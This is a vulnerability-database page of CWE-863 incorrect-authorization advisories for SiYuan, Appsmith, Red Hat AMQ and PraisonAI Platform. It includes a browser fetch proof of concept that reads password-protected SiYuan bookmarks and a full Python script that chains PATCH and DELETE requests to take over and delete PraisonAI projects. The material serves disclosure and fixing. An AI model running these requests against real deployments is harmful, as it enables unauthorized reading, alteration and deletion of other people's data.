CWE-863
Allowed-with-ReviewIncorrect Authorization
Abstraction: Class · Status: Incomplete
The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.
7172 vulnerabilities reference this CWE, most recent first.
GHSA-C77M-R996-JR3Q
Vulnerability from github – Published: 2026-03-31 23:30 – Updated: 2026-04-06 16:40Summary
The publish service exposes bookmarked blocks from password-protected documents to unauthenticated visitors. In publish/read-only mode, /api/bookmark/getBookmark filters bookmark results by calling FilterBlocksByPublishAccess(nil, ...). Because the filter treats a nil context as authorized, it skips the publish password check and returns bookmarked blocks from documents configured as Protected. As a result, anyone who can access the publish service can retrieve content from protected documents without providing the required password, as long as at least one block in the document is bookmarked.
Details
The issue is caused by an authorization bypass in the bookmark API path used by the publish service.
In kernel/api/bookmark.go, getBookmark checks whether the current request is in a read-only role and then filters bookmarks for publish access. However, it passes nil as the request context:
if model.IsReadOnlyRoleContext(c) {
publishAccess := model.GetPublishAccess()
tempBookmarks := &model.Bookmarks{}
for _, bookmark := range *bookmarks {
bookmark.Blocks = model.FilterBlocksByPublishAccess(nil, publishAccess, bookmark.Blocks)
In kernel/model/publish_access.go, FilterBlocksByPublishAccess allows access when c == nil:
if CheckPathAccessableByPublishIgnore(block.Box, block.Path, publishIgnore) &&
(c == nil || password == "" || CheckPublishAuthCookie(c, passwordID, password)) {
ret = append(ret, block)
}
This bypasses the intended password enforcement performed by CheckPublishAuthCookie, which validates the publish-auth-<id> cookie for protected content.
The publish proxy authenticates anonymous publish visitors with a RoleReader token, and CheckAuth accepts RoleReader, so unauthenticated publish visitors can reach /api/bookmark/getBookmark and trigger the vulnerable code path.
I reproduced this by creating a protected document, bookmarking a block inside it, opening the publish service in an incognito session without entering the document password, and sending a POST /api/bookmark/getBookmark request. The response returned a bookmark group containing the protected block in data[0].blocks, confirming the bypass.
PoC
- Start SiYuan with the publish service enabled.
- Create a new document, for example publish-bookmark-poc.
- Add a block containing identifiable content, for example BOOKMARK_SECRET_123.
- Open the block attributes and assign a bookmark label, for example leak-test.
- In Doc Tree, enable Publish Access Control and set the document to Protected.
- Set a password for that document, for example test123, and confirm the change.
- Open the publish service in a fresh incognito/private browser session.
- Verify that opening the protected document through the publish UI requires the password.
- Without entering the password, open the browser developer console and run:
fetch("/api/bookmark/getBookmark", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: "{}"
})
.then(r => r.json())
.then(x => console.log(JSON.stringify(x, null, 2)));
- Observe that the response contains a bookmark entry such as:
{
"code": 0,
"msg": "",
"data": [
{
"name": "leak-test",
"blocks": [
{
"box": "20260327012540-ppsxc5j",
"path": "/20260327012543-acu1mdn.sy",
"hPath": "/publish-bookmark-poc",
"id": "20260327012543-1y6djn1",
"rootID": "20260327012543-acu1mdn",
"parentID": "20260327012543-acu1mdn",
"name": "",
"alias": "",
"memo": "",
"tag": "",
"content": "<span data-type=\"code\">BOOKMARK_SECRET_123</span>",
"fcontent": "",
"markdown": "`BOOKMARK_SECRET_123`",
"folded": false,
"type": "NodeParagraph",
"subType": "",
"refText": "",
"refs": null,
"defID": "",
"defPath": "",
"ial": {
"bookmark": "leak-test",
"id": "20260327012543-1y6djn1",
"updated": "20260327013116"
},
"children": null,
"depth": 1,
"count": 0,
"refCount": 0,
"sort": 10,
"created": "",
"updated": "",
"riffCardID": "",
"riffCard": null
}
],
"type": "bookmark",
"depth": 0,
"count": 1
}
]
}
Actual result:
/api/bookmark/getBookmark returns bookmarked blocks from protected documents without requiring the publish password.
Impact
An unauthenticated attacker who can access the publish service can read bookmarked content from documents configured as password-protected. This breaks the confidentiality guarantee of the Protected publish access level. The impact is limited to blocks that have been bookmarked, but the leakage is direct, requires no user interaction, and does not require knowledge of the document password.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.6.1"
},
"package": {
"ecosystem": "Go",
"name": "github.com/siyuan-note/siyuan/kernel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.6.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34453"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-31T23:30:03Z",
"nvd_published_at": "2026-03-31T22:16:20Z",
"severity": "HIGH"
},
"details": "### Summary\nThe publish service exposes bookmarked blocks from password-protected documents to unauthenticated visitors. In publish/read-only mode, `/api/bookmark/getBookmark` filters bookmark results by calling `FilterBlocksByPublishAccess(nil, ...)`. Because the filter treats a `nil` context as authorized, it skips the publish password check and returns bookmarked blocks from documents configured as `Protected`. As a result, anyone who can access the publish service can retrieve content from protected documents without providing the required password, as long as at least one block in the document is bookmarked.\n\n### Details\nThe issue is caused by an authorization bypass in the bookmark API path used by the publish service.\n\nIn `kernel/api/bookmark.go`, `getBookmark` checks whether the current request is in a read-only role and then filters bookmarks for publish access. However, it passes `nil` as the request context:\n```go\nif model.IsReadOnlyRoleContext(c) {\n publishAccess := model.GetPublishAccess()\n tempBookmarks := \u0026model.Bookmarks{}\n for _, bookmark := range *bookmarks {\n bookmark.Blocks = model.FilterBlocksByPublishAccess(nil, publishAccess, bookmark.Blocks)\n```\nIn `kernel/model/publish_access.go`, `FilterBlocksByPublishAccess` allows access when `c == nil`:\n```go\nif CheckPathAccessableByPublishIgnore(block.Box, block.Path, publishIgnore) \u0026\u0026\n (c == nil || password == \"\" || CheckPublishAuthCookie(c, passwordID, password)) {\n ret = append(ret, block)\n}\n```\nThis bypasses the intended password enforcement performed by `CheckPublishAuthCookie`, which validates the `publish-auth-\u003cid\u003e` cookie for protected content.\n\nThe publish proxy authenticates anonymous publish visitors with a `RoleReader` token, and `CheckAuth` accepts `RoleReader`, so unauthenticated publish visitors can reach `/api/bookmark/getBookmark` and trigger the vulnerable code path.\n\nI reproduced this by creating a protected document, bookmarking a block inside it, opening the publish service in an incognito session without entering the document password, and sending a `POST /api/bookmark/getBookmark` request. The response returned a bookmark group containing the protected block in `data[0].blocks`, confirming the bypass.\n\n### PoC\n\n1. Start SiYuan with the publish service enabled.\n2. Create a new document, for example publish-bookmark-poc.\n3. Add a block containing identifiable content, for example BOOKMARK_SECRET_123.\n4. Open the block attributes and assign a bookmark label, for example leak-test.\n5. In Doc Tree, enable Publish Access Control and set the document to Protected.\n6. Set a password for that document, for example test123, and confirm the change.\n7. Open the publish service in a fresh incognito/private browser session.\n8. Verify that opening the protected document through the publish UI requires the password.\n9. Without entering the password, open the browser developer console and run:\n```js\nfetch(\"/api/bookmark/getBookmark\", {\n method: \"POST\",\n headers: { \"Content-Type\": \"application/json\" },\n body: \"{}\"\n})\n .then(r =\u003e r.json())\n .then(x =\u003e console.log(JSON.stringify(x, null, 2)));\n```\n10. Observe that the response contains a bookmark entry such as:\n```json\n{\n \"code\": 0,\n \"msg\": \"\",\n \"data\": [\n {\n \"name\": \"leak-test\",\n \"blocks\": [\n {\n \"box\": \"20260327012540-ppsxc5j\",\n \"path\": \"/20260327012543-acu1mdn.sy\",\n \"hPath\": \"/publish-bookmark-poc\",\n \"id\": \"20260327012543-1y6djn1\",\n \"rootID\": \"20260327012543-acu1mdn\",\n \"parentID\": \"20260327012543-acu1mdn\",\n \"name\": \"\",\n \"alias\": \"\",\n \"memo\": \"\",\n \"tag\": \"\",\n \"content\": \"\u200b\u003cspan data-type=\\\"code\\\"\u003e\u200bBOOKMARK_SECRET_123\u003c/span\u003e\u200b\",\n \"fcontent\": \"\",\n \"markdown\": \"`BOOKMARK_SECRET_123`\",\n \"folded\": false,\n \"type\": \"NodeParagraph\",\n \"subType\": \"\",\n \"refText\": \"\",\n \"refs\": null,\n \"defID\": \"\",\n \"defPath\": \"\",\n \"ial\": {\n \"bookmark\": \"leak-test\",\n \"id\": \"20260327012543-1y6djn1\",\n \"updated\": \"20260327013116\"\n },\n \"children\": null,\n \"depth\": 1,\n \"count\": 0,\n \"refCount\": 0,\n \"sort\": 10,\n \"created\": \"\",\n \"updated\": \"\",\n \"riffCardID\": \"\",\n \"riffCard\": null\n }\n ],\n \"type\": \"bookmark\",\n \"depth\": 0,\n \"count\": 1\n }\n ]\n}\n```\nActual result:\n`/api/bookmark/getBookmark` returns bookmarked blocks from protected documents without requiring the publish password.\n\n### Impact\nAn unauthenticated attacker who can access the publish service can read bookmarked content from documents configured as password-protected. This breaks the confidentiality guarantee of the `Protected` publish access level. The impact is limited to blocks that have been bookmarked, but the leakage is direct, requires no user interaction, and does not require knowledge of the document password.",
"id": "GHSA-c77m-r996-jr3q",
"modified": "2026-04-06T16:40:12Z",
"published": "2026-03-31T23:30:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-c77m-r996-jr3q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34453"
},
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/issues/17246"
},
{
"type": "PACKAGE",
"url": "https://github.com/siyuan-note/siyuan"
},
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/releases/tag/v3.6.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "SiYuan: Unauthenticated Access to Password-Protected Bookmarks via /api/bookmark/getBookmark"
}
GHSA-C77W-WGVP-CX35
Vulnerability from github – Published: 2025-03-26 21:31 – Updated: 2025-03-27 15:31An issue was discovered in Appsmith before 1.51. Users invited as "App Viewer" incorrectly have access to development information of a workspace (specifically, a list of datasources in a workspace they're a member of). This information disclosure does not expose sensitive data in the datasources, such as database passwords and API Keys.
{
"affected": [],
"aliases": [
"CVE-2024-55965"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-26T21:15:23Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in Appsmith before 1.51. Users invited as \"App Viewer\" incorrectly have access to development information of a workspace (specifically, a list of datasources in a workspace they\u0027re a member of). This information disclosure does not expose sensitive data in the datasources, such as database passwords and API Keys.",
"id": "GHSA-c77w-wgvp-cx35",
"modified": "2025-03-27T15:31:07Z",
"published": "2025-03-26T21:31:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/appsmithorg/appsmith/security/advisories/GHSA-794x-gm8v-2wj6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-55965"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-C78G-8QVX-MMH9
Vulnerability from github – Published: 2022-08-24 00:00 – Updated: 2022-08-28 00:00A flaw was found in the Red Hat AMQ Broker management console in version 7.8 where an existing user is able to access some limited information even when the role the user is assigned to should not be allow access to the management console. The main impact is to confidentiality as this flaw means some role bindings are incorrectly checked, some privileged meta information such as queue names and configuration details are disclosed but the impact is limited as not all information is accessible and there is no affect to integrity.
{
"affected": [],
"aliases": [
"CVE-2021-3763"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-08-23T16:15:00Z",
"severity": "MODERATE"
},
"details": "A flaw was found in the Red Hat AMQ Broker management console in version 7.8 where an existing user is able to access some limited information even when the role the user is assigned to should not be allow access to the management console. The main impact is to confidentiality as this flaw means some role bindings are incorrectly checked, some privileged meta information such as queue names and configuration details are disclosed but the impact is limited as not all information is accessible and there is no affect to integrity.",
"id": "GHSA-c78g-8qvx-mmh9",
"modified": "2022-08-28T00:00:32Z",
"published": "2022-08-24T00:00:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3763"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2021-3763"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2000654"
},
{
"type": "WEB",
"url": "https://issues.redhat.com/browse/ENTMQBR-5372"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-C78W-2Q4R-68R7
Vulnerability from github – Published: 2026-10-08 22:01 – Updated: 2026-10-08 22:01Platform member PATCH routes allow owner resource rewrites and project lead reassignment delete bypass
Summary
praisonai-platform lets an ordinary workspace member patch owner-created project, issue, and agent records even though the paired delete routes enforce owner/admin authorization. For projects, the member can first patch lead_id to their own user id and then delete the owner-created project, bypassing a delete guard that correctly returned 403 before the reassignment.
Technical Details
The affected boundary is the difference between "is a workspace member" and "owns or administers this resource". src/praisonai-platform/praisonai_platform/api/deps.py defines require_workspace_member, require_workspace_admin, require_workspace_owner, and require_delete_permission. require_workspace_member only checks that the caller has at least the member role in the workspace, while require_delete_permission allows delete only for workspace admins/owners or the resource owner.
The project update route in src/praisonai-platform/praisonai_platform/api/routes/projects.py defines PATCH /workspaces/{workspace_id}/projects/{project_id} with user: AuthIdentity = Depends(require_workspace_member). It passes title, description, status, lead_type, and lead_id into ProjectService.update. src/praisonai-platform/praisonai_platform/services/project_service.py then writes project.lead_id = lead_id when supplied. The paired project delete route first loads the project and calls require_delete_permission(workspace_id, user, session, resource_owner_id=project.lead_id). This means an ordinary member can mutate the ownership field that the delete route later trusts.
The same update/delete asymmetry exists for issues and agents. src/praisonai-platform/praisonai_platform/api/routes/issues.py defines PATCH /workspaces/{workspace_id}/issues/{issue_id} with only require_workspace_member, validates referenced ids are in the workspace, then calls IssueService.update to write fields including title, description, status, priority, assignee_id, and project_id. The paired delete route checks resource_owner_id=issue.creator_id. src/praisonai-platform/praisonai_platform/api/routes/agents.py defines PATCH /workspaces/{workspace_id}/agents/{agent_id} with only require_workspace_member and calls AgentService.update to write fields including instructions, runtime_mode, and runtime_config; the paired delete route checks resource_owner_id=agent.owner_id.
The intended owner/admin boundary is visible from the delete routes and from the local negative controls: a workspace member cannot directly delete an owner-created project, issue, or agent, and a non-member cannot patch an issue. The vulnerability is that the PATCH routes do not apply an equivalent owner/admin or resource-specific update guard.
PoV
the PoV starts an in-memory FastAPI app backed by SQLite, creates an owner, a member, and an outsider, adds the member to the owner's workspace, then exercises the project, issue, and agent routes without touching any live service.
Essential excerpt:
direct_delete_project = await client.delete(
f"/api/v1/workspaces/{workspace_id}/projects/{project_id}",
headers=member_headers,
)
patch_project = await client.patch(
f"/api/v1/workspaces/{workspace_id}/projects/{project_id}",
json={
"title": "Member-controlled project",
"status": "active",
"lead_type": "member",
"lead_id": member_id,
},
headers=member_headers,
)
delete_project_after_takeover = await client.delete(
f"/api/v1/workspaces/{workspace_id}/projects/{project_id}",
headers=member_headers,
)
patch_issue = await client.patch(
f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}",
json={"title": "Member rewrote owner issue", "status": "done"},
headers=member_headers,
)
patch_agent = await client.patch(
f"/api/v1/workspaces/{workspace_id}/agents/{agent_id}",
json={"instructions": "member-controlled instructions", "status": "idle"},
headers=member_headers,
)
outsider_patch_issue = await client.patch(
f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}",
json={"title": "outsider attempt"},
headers=outsider_headers,
)
The full PoV script is included in the appendix below as pov_platform_member_update_bypass.py.
PoC
Current head tested:
846568c7a5d8ce9e71e56e4c213f027c04909753
2026-06-17T20:13:04+01:00
chore: clean up redundant 'persist-credentials' entries in GitHub workflows
Run against a local checkout of current head:
uv run --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]>=2.10.0' --with PyJWT --with 'passlib[bcrypt]>=1.7.4' --with 'bcrypt==4.0.1' python pov_platform_member_update_bypass.py --repo /path/to/PraisonAI --json
Decisive current-head output:
{
"source": "git:846568c7a5d8ce9e71e56e4c213f027c04909753",
"workspace_role": "member",
"checks": {
"member_direct_project_delete_before_patch": 403,
"member_project_patch_lead_to_self": 200,
"member_project_delete_after_lead_takeover": 204,
"owner_get_project_after_member_delete": 404,
"member_issue_patch": 200,
"owner_observes_member_issue_title": "Member rewrote owner issue",
"member_issue_delete_after_patch": 403,
"member_agent_patch": 200,
"owner_observes_member_agent_instructions": "member-controlled instructions",
"member_agent_delete_after_patch": 403,
"non_member_issue_patch": 403
},
"vulnerable": true
}
Run against the latest PyPI package observed during testing:
uv run --with 'praisonai-platform==0.1.8' --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]>=2.10.0' --with PyJWT --with 'passlib[bcrypt]>=1.7.4' --with 'bcrypt==4.0.1' python pov_platform_member_update_bypass.py --json
Decisive latest-PyPI output:
{
"source": "pypi:praisonai-platform==0.1.8",
"workspace_role": "member",
"checks": {
"member_direct_project_delete_before_patch": 403,
"member_project_patch_lead_to_self": 200,
"member_project_delete_after_lead_takeover": 204,
"owner_get_project_after_member_delete": 404,
"member_issue_patch": 200,
"owner_observes_member_issue_title": "Member rewrote owner issue",
"member_issue_delete_after_patch": 403,
"member_agent_patch": 200,
"owner_observes_member_agent_instructions": "member-controlled instructions",
"member_agent_delete_after_patch": 403,
"non_member_issue_patch": 403
},
"vulnerable": true
}
Version sweep excerpt:
praisonai-platform 0.1.4: member PATCH project/issue/agent returned 200, but direct member DELETE also returned 204, so the current delete-guard bypass is masked by broader older delete authorization behavior.
praisonai-platform 0.1.6: direct project DELETE returned 403, member PATCH set lead to self returned 200, project DELETE after lead takeover returned 204, issue/agent PATCH returned 200, issue/agent DELETE returned 403.
praisonai-platform 0.1.8: direct project DELETE returned 403, member PATCH set lead to self returned 200, project DELETE after lead takeover returned 204, issue/agent PATCH returned 200, issue/agent DELETE returned 403.
Impact
An ordinary workspace member can modify owner-created Platform records that should remain owner/admin controlled. For projects, the member can turn a denied direct delete into an allowed delete by reassigning lead_id through PATCH, causing owner project data loss. For issues, the member can rewrite owner-created titles/statuses while delete remains blocked. For agents, the member can replace owner-created instructions and runtime-related configuration fields while delete remains blocked. In a shared workspace, this is a concrete integrity violation and can disrupt work tracking or agent behavior.
Suggested severity: High. Suggested CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L (7.1). Suggested CWEs: CWE-862 Missing Authorization and CWE-863 Incorrect Authorization. The score is conservative: it assumes the attacker already has ordinary workspace member privileges and does not claim confidentiality impact.
Suggested Fix
Apply resource-specific update authorization before mutating project, issue, or agent records. A straightforward approach is to mirror the delete route's owner/admin check for PATCH routes, or introduce a require_update_permission helper that allows workspace admins/owners and the relevant resource owner only.
For projects, do not let an ordinary member set lead_id on an existing owner-created project. Treat lead reassignment as an admin/owner operation, and validate that the new lead belongs to the workspace and is eligible for that role.
Add regression tests for these cases: a plain member cannot patch an owner-created project, issue, or agent; a member cannot reassign project lead_id to gain delete permission; owner/admin callers can still patch according to intended policy; a non-member still receives 403.
Affected Package/Versions
Affected package: pypi:praisonai-platform.
Latest PyPI version observed during testing: 0.1.8. Current head 846568c7a5d8ce9e71e56e4c213f027c04909753 is affected.
The owner/admin update authorization gap is confirmed in sampled versions 0.1.4, 0.1.6, 0.1.8, and current head. The specific project delete-guard bypass through lead_id reassignment is confirmed in 0.1.6, 0.1.8, and current head. In 0.1.4, direct member deletes already returned 204, so the lead-reassignment chain is masked by a broader older delete issue.
Suggested affected range for the update authorization gap: pypi:praisonai-platform >=0.1.4, <=0.1.8. Suggested affected range for the project lead-reassignment delete bypass after delete checks were introduced: pypi:praisonai-platform >=0.1.6, <=0.1.8. No fixed version or fix commit was observed.
Advisory History
Visible PraisonAI Platform advisories include several related authorization fixes, but the checked public advisories do not appear to cover this same same-workspace PATCH authorization gap and project lead_id delete-guard bypass.
GHSA-rh39-9c67-59mh, "Missing ownership check on DELETE endpoints allows members to delete others' content in Platform API", covers DELETE endpoints. This report is distinct because the PoV shows direct project DELETE is denied with 403, then PATCH succeeds, then DELETE succeeds only after lead_id is reassigned through the update route.
GHSA-2fjj-qqg8-fg7x, "Authorization Bypass Through User-Controlled Key in praisonai-platform", covers user-controlled project_id reference handling and cross-workspace stats pollution. This report does not rely on foreign workspace ids; the attacker is a legitimate member of the same workspace as the owner-created records.
GHSA-gv23-xrm3-8c62, GHSA-6h6v-6m7w-7vxx, GHSA-943m-6wx2-rc2j, GHSA-xwq8-frcg-77q8, and GHSA-7p8g-6c6g-h9w7 cover cross-workspace object access by global id. This report is scoped to same-workspace owner/admin authorization and includes a non-member negative control returning 403.
References
https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rh39-9c67-59mhhttps://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2fjj-qqg8-fg7xhttps://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gv23-xrm3-8c62https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6h6v-6m7w-7vxxhttps://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-943m-6wx2-rc2jhttps://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xwq8-frcg-77q8https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7p8g-6c6g-h9w7https://cwe.mitre.org/data/definitions/862.htmlhttps://cwe.mitre.org/data/definitions/863.html
Appendix A - Longer Version Sweep
=== praisonai-platform 0.1.4 ===
"member_direct_project_delete_before_patch": 204
"member_project_patch_lead_to_self": 404
"member_issue_patch": 200
"member_agent_patch": 200
"member_issue_delete_after_patch": 204
"member_agent_delete_after_patch": 204
"non_member_issue_patch": 403
=== praisonai-platform 0.1.6 ===
"member_direct_project_delete_before_patch": 403
"member_project_patch_lead_to_self": 200
"member_project_delete_after_lead_takeover": 204
"owner_get_project_after_member_delete": 404
"member_issue_patch": 200
"member_issue_delete_after_patch": 403
"member_agent_patch": 200
"member_agent_delete_after_patch": 403
"non_member_issue_patch": 403
=== praisonai-platform 0.1.8 ===
"member_direct_project_delete_before_patch": 403
"member_project_patch_lead_to_self": 200
"member_project_delete_after_lead_takeover": 204
"owner_get_project_after_member_delete": 404
"member_issue_patch": 200
"member_issue_delete_after_patch": 403
"member_agent_patch": 200
"member_agent_delete_after_patch": 403
"non_member_issue_patch": 403
Appendix B - Full PoV Script
Save this as pov_platform_member_update_bypass.py before running the PoC commands above.
#!/usr/bin/env python3
"""PoV for PraisonAI Platform same-workspace member update bypass."""
from __future__ import annotations
import argparse
import asyncio
import json
import os
import sys
from pathlib import Path
from typing import Any
def _load_local_source(repo: Path | None) -> None:
if repo is None:
return
platform_root = repo / "src" / "praisonai-platform"
agents_root = repo / "src" / "praisonai-agents"
for path in (str(platform_root), str(agents_root)):
if path not in sys.path:
sys.path.insert(0, path)
async def _register(client: Any, email: str, name: str) -> tuple[str, str]:
response = await client.post(
"/api/v1/auth/register",
json={"email": email, "password": "Password1!", "name": name},
)
if response.status_code >= 400:
raise RuntimeError(f"register failed for {email}: {response.status_code} {response.text}")
body = response.json()
return body["token"], body["user"]["id"]
async def _run(repo: Path | None) -> dict[str, Any]:
os.environ["PLATFORM_JWT_SECRET"] = "local-poc-secret-32-bytes-minimum"
_load_local_source(repo)
from httpx import ASGITransport, AsyncClient
from sqlalchemy.ext.asyncio import create_async_engine
from praisonai_platform.api.app import create_app
from praisonai_platform.db import base as base_mod
from praisonai_platform.db.base import Base, reset_engine
await reset_engine()
engine = create_async_engine(
"sqlite+aiosqlite:///:memory:",
echo=False,
connect_args={"check_same_thread": False},
)
base_mod._engine = engine
base_mod._session_factory = None
async with engine.begin() as conn:
await conn.run_sync(Base.metadata.create_all)
app = create_app()
transport = ASGITransport(app=app)
async with AsyncClient(transport=transport, base_url="http://local-poc") as client:
owner_token, owner_id = await _register(client, "owner@example.com", "Owner")
member_token, member_id = await _register(client, "member@example.com", "Member")
outsider_token, _ = await _register(client, "outsider@example.com", "Outsider")
owner_headers = {"Authorization": f"Bearer {owner_token}"}
member_headers = {"Authorization": f"Bearer {member_token}"}
outsider_headers = {"Authorization": f"Bearer {outsider_token}"}
ws_resp = await client.post(
"/api/v1/workspaces/",
json={"name": "Shared Workspace", "slug": "shared-workspace"},
headers=owner_headers,
)
ws_resp.raise_for_status()
workspace_id = ws_resp.json()["id"]
add_member = await client.post(
f"/api/v1/workspaces/{workspace_id}/members",
json={"user_id": member_id, "role": "member"},
headers=owner_headers,
)
add_member.raise_for_status()
project_resp = await client.post(
f"/api/v1/workspaces/{workspace_id}/projects/",
json={
"title": "Owner project",
"description": "Owned by the workspace owner",
"lead_type": "member",
"lead_id": owner_id,
},
headers=owner_headers,
)
project_resp.raise_for_status()
project_id = project_resp.json()["id"]
direct_delete_project = await client.delete(
f"/api/v1/workspaces/{workspace_id}/projects/{project_id}",
headers=member_headers,
)
patch_project = await client.patch(
f"/api/v1/workspaces/{workspace_id}/projects/{project_id}",
json={
"title": "Member-controlled project",
"status": "active",
"lead_type": "member",
"lead_id": member_id,
},
headers=member_headers,
)
delete_project_after_takeover = await client.delete(
f"/api/v1/workspaces/{workspace_id}/projects/{project_id}",
headers=member_headers,
)
owner_get_deleted_project = await client.get(
f"/api/v1/workspaces/{workspace_id}/projects/{project_id}",
headers=owner_headers,
)
issue_resp = await client.post(
f"/api/v1/workspaces/{workspace_id}/issues/",
json={"title": "Owner issue", "priority": "high"},
headers=owner_headers,
)
issue_resp.raise_for_status()
issue_id = issue_resp.json()["id"]
patch_issue = await client.patch(
f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}",
json={"title": "Member rewrote owner issue", "status": "done"},
headers=member_headers,
)
owner_get_issue = await client.get(
f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}",
headers=owner_headers,
)
delete_issue = await client.delete(
f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}",
headers=member_headers,
)
agent_resp = await client.post(
f"/api/v1/workspaces/{workspace_id}/agents/",
json={"name": "OwnerAgent", "instructions": "owner-only instructions"},
headers=owner_headers,
)
agent_resp.raise_for_status()
agent_id = agent_resp.json()["id"]
patch_agent = await client.patch(
f"/api/v1/workspaces/{workspace_id}/agents/{agent_id}",
json={"instructions": "member-controlled instructions", "status": "idle"},
headers=member_headers,
)
owner_get_agent = await client.get(
f"/api/v1/workspaces/{workspace_id}/agents/{agent_id}",
headers=owner_headers,
)
delete_agent = await client.delete(
f"/api/v1/workspaces/{workspace_id}/agents/{agent_id}",
headers=member_headers,
)
outsider_patch_issue = await client.patch(
f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}",
json={"title": "outsider attempt"},
headers=outsider_headers,
)
await engine.dispose()
base_mod._engine = None
base_mod._session_factory = None
owner_issue_body = owner_get_issue.json() if owner_get_issue.status_code == 200 else {}
owner_agent_body = owner_get_agent.json() if owner_get_agent.status_code == 200 else {}
patch_project_body = patch_project.json() if patch_project.status_code == 200 else {}
checks = {
"member_direct_project_delete_before_patch": direct_delete_project.status_code,
"member_project_patch_lead_to_self": patch_project.status_code,
"member_project_delete_after_lead_takeover": delete_project_after_takeover.status_code,
"owner_get_project_after_member_delete": owner_get_deleted_project.status_code,
"member_issue_patch": patch_issue.status_code,
"owner_observes_member_issue_title": owner_issue_body.get("title"),
"member_issue_delete_after_patch": delete_issue.status_code,
"member_agent_patch": patch_agent.status_code,
"owner_observes_member_agent_instructions": owner_agent_body.get("instructions"),
"member_agent_delete_after_patch": delete_agent.status_code,
"non_member_issue_patch": outsider_patch_issue.status_code,
}
vulnerable = (
checks["member_direct_project_delete_before_patch"] == 403
and checks["member_project_patch_lead_to_self"] == 200
and patch_project_body.get("lead_id") == member_id
and checks["member_project_delete_after_lead_takeover"] == 204
and checks["owner_get_project_after_member_delete"] == 404
and checks["member_issue_patch"] == 200
and checks["owner_observes_member_issue_title"] == "Member rewrote owner issue"
and checks["member_issue_delete_after_patch"] == 403
and checks["member_agent_patch"] == 200
and checks["owner_observes_member_agent_instructions"] == "member-controlled instructions"
and checks["member_agent_delete_after_patch"] == 403
and checks["non_member_issue_patch"] == 403
)
return {
"package": "praisonai-platform",
"source": _source_id(repo),
"workspace_role": "member",
"summary": "A workspace member can patch owner-created project, issue, and agent records. Project lead reassignment then bypasses the delete ownership guard.",
"checks": checks,
"vulnerable": vulnerable,
}
def _source_id(repo: Path | None) -> str:
if repo is None:
import importlib.metadata
return f"pypi:praisonai-platform=={importlib.metadata.version('praisonai-platform')}"
import subprocess
rev = subprocess.check_output(
["git", "-C", str(repo), "rev-parse", "HEAD"],
text=True,
).strip()
return f"git:{rev}"
def main() -> int:
parser = argparse.ArgumentParser()
parser.add_argument("--repo", type=Path)
parser.add_argument("--json", action="store_true")
args = parser.parse_args()
result = asyncio.run(_run(args.repo.resolve() if args.repo else None))
if args.json:
print(json.dumps(result, indent=2, sort_keys=True))
else:
for key, value in result["checks"].items():
print(f"{key}: {value}")
print(f"vulnerable: {result['vulnerable']}")
return 0 if result["vulnerable"] else 1
if __name__ == "__main__":
raise SystemExit(main())
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.1.8"
},
"package": {
"ecosystem": "PyPI",
"name": "praisonai-platform"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-61442"
],
"database_specific": {
"cwe_ids": [
"CWE-862",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-08T22:01:11Z",
"nvd_published_at": null,
"severity": "HIGH"
},
